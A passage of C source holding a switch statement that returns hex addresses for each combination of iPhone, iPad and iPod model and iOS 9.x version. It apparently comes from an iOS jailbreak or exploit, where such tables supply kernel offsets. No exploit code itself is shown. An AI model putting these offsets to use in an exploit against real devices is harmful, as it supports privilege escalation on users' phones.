        case iPhone54_iOS932: return 0x000c3c80;
        case iPhone54_iOS930: return 0x000c3c90;
        case iPhone54_iOS921: return 0x000c2ff0;
        case iPhone54_iOS920: return 0x000c2fb0;
        case iPhone54_iOS910: return 0x000c42c4;
        /*case iPhone54_iOS902: return 0x000c4124;*/
        case iPad21_iOS934: return 0x000c085c;
        case iPad21_iOS933: return 0x000c085c;
        case iPad21_iOS932: return 0x000c08ec;
        case iPad21_iOS930: return 0x000c08dc;
        case iPad21_iOS921: return 0x000bfd7c;
        case iPad21_iOS920: return 0x000bfd2c;
        case iPad21_iOS910: return 0x000c1340;
        /*case iPad21_iOS902: return 0x000c11d0;*/
        case iPad22_iOS934: return 0x000c085c;
        case iPad22_iOS933: return 0x000c085c;
        case iPad22_iOS932: return 0x000c08ec;
        case iPad22_iOS930: return 0x000c08dc;
        case iPad22_iOS921: return 0x000bfd7c;
        case iPad22_iOS920: return 0x000bfd2c;
        case iPad22_iOS910: return 0x000c1340;
        /*case iPad22_iOS902: return 0x000c11d0;*/
        case iPad23_iOS934: return 0x000c085c;
        case iPad23_iOS933: return 0x000c085c;
        case iPad23_iOS932: return 0x000c08ec;
        case iPad23_iOS930: return 0x000c08dc;
        case iPad23_iOS921: return 0x000bfd7c;
        case iPad23_iOS920: return 0x000bfd2c;
        case iPad23_iOS910: return 0x000c1340;
        /*case iPad23_iOS902: return 0x000c11d0;*/
        case iPad24_iOS934: return 0x000c085c;
        case iPad24_iOS933: return 0x000c085c;
        case iPad24_iOS932: return 0x000c08ec;
        case iPad24_iOS930: return 0x000c08dc;
        case iPad24_iOS921: return 0x000bfd7c;
        case iPad24_iOS920: return 0x000bfd2c;
        case iPad24_iOS910: return 0x000c1340;
        /*case iPad24_iOS902: return 0x000c11d0;*/
        case iPad31_iOS934: return 0x000c085c;
        case iPad31_iOS933: return 0x000c085c;
        case iPad31_iOS932: return 0x000c08ec;
        case iPad31_iOS930: return 0x000c08dc;
        case iPad31_iOS921: return 0x000bfd7c;
        case iPad31_iOS920: return 0x000bfd2c;
        case iPad31_iOS910: return 0x000c1340;
        /*case iPad31_iOS902: return 0x000c11d0;*/
        case iPad32_iOS934: return 0x000c085c;
        case iPad32_iOS933: return 0x000c085c;
        case iPad32_iOS932: return 0x000c08ec;
        case iPad32_iOS930: return 0x000c08dc;
        case iPad32_iOS921: return 0x000bfd7c;
        case iPad32_iOS920: return 0x000bfd2c;
        case iPad32_iOS910: return 0x000c1340;
        /*case iPad32_iOS902: return 0x000c11d0;*/
        case iPad33_iOS934: return 0x000c085c;
        case iPad33_iOS933: return 0x000c085c;
        case iPad33_iOS932: return 0x000c08ec;
        case iPad33_iOS930: return 0x000c08dc;
        case iPad33_iOS921: return 0x000bfd7c;
        case iPad33_iOS920: return 0x000bfd2c;
        case iPad33_iOS910: return 0x000c1340;
        /*case iPad33_iOS902: return 0x000c11d0;*/
        case iPad34_iOS934: return 0x000c3e10;
        case iPad34_iOS933: return 0x000c3e10;
        case iPad34_iOS932: return 0x000c3c80;
        case iPad34_iOS930: return 0x000c3c90;
        case iPad34_iOS921: return 0x000c2ff0;
        case iPad34_iOS920: return 0x000c2fb0;
        case iPad34_iOS910: return 0x000c42c4;
        /*case iPad34_iOS902: return 0x000c4124;*/
        case iPad35_iOS934: return 0x000c3e10;
        case iPad35_iOS933: return 0x000c3e10;
        case iPad35_iOS932: return 0x000c3c80;
        case iPad35_iOS930: return 0x000c3c90;
        case iPad35_iOS921: return 0x000c2ff0;
        case iPad35_iOS920: return 0x000c2fb0;
        case iPad35_iOS910: return 0x000c42c4;
        /*case iPad35_iOS902: return 0x000c4124;*/
        case iPad36_iOS934: return 0x000c3e10;
        case iPad36_iOS933: return 0x000c3e10;
        case iPad36_iOS932: return 0x000c3c80;
        case iPad36_iOS930: return 0x000c3c90;
        case iPad36_iOS921: return 0x000c2ff0;
        case iPad36_iOS920: return 0x000c2fb0;
        case iPad36_iOS910: return 0x000c42c4;
        /*case iPad36_iOS902: return 0x000c4124;*/
        case iPod51_iOS934: return 0x000c085c;
        case iPod51_iOS933: return 0x000c085c;
        case iPod51_iOS932: return 0x000c08ec;
        case iPod51_iOS930: return 0x000c08dc;
        case iPod51_iOS921: return 0x000bfd7c;
        case iPod51_iOS920: return 0x000bfd2c;
        case iPod51_iOS910: return 0x000c1340;
        /*case iPod51_iOS902: return 0x000c11d0;*/
        default: return 0;
    }
}

